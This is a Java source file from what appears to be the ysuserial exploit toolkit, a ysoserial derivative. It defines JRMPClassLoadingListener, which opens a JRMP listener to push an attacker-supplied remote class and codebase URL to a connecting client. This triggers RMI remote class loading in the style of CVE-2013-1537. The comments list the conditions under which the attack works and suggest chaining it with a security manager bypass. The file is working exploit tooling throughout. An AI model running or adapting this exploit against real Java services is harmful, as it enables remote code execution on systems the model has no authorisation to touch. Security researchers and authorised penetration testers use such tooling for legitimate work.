content: package org.su18.ysuserial.exploit;
  
  
  import org.su18.ysuserial.payloads.gadgets.JRMPClient;
  
  import java.net.URL;
  
  
  /**
   * JRMP listener triggering RMI remote classloading
   * <p>
   * Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
   * <p>
   * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
   * access to an RMI socket when you can deliver {@link JRMPClient}.
   * <p>
   * This only works if
   * - the remote end is running with a security manager
   * - java.rmi.server.useCodebaseOnly=false (default until 7u21)
   * - the remote has the proper permissions to remotely load the class (mostly URLPermission)
   * <p>
   * and, of course, the payload class is then run under the security manager with a remote codebase
   * so either the policy needs to allow whatever you want to do in the payload or you need to combine
   * with a security manager bypass exploit (wouldn't be the first time).
   *
   * @author mbechler
   */
  public class JRMPClassLoadingListener {
  
  	public static final void main(final String[] args) {
  
  		if (args.length < 3) {
  			System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
  			System.exit(-1);
  			return;
  		}
  
  		try {
  			int port = Integer.parseInt(args[0]);
  			System.err.println("* Opening JRMP listener on " + port);
  			JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
  			c.run();
  		} catch (Exception e) {
  			System.err.println("Listener error");
  			e.printStackTrace(System.err);
  		}
  	}
  
  }
  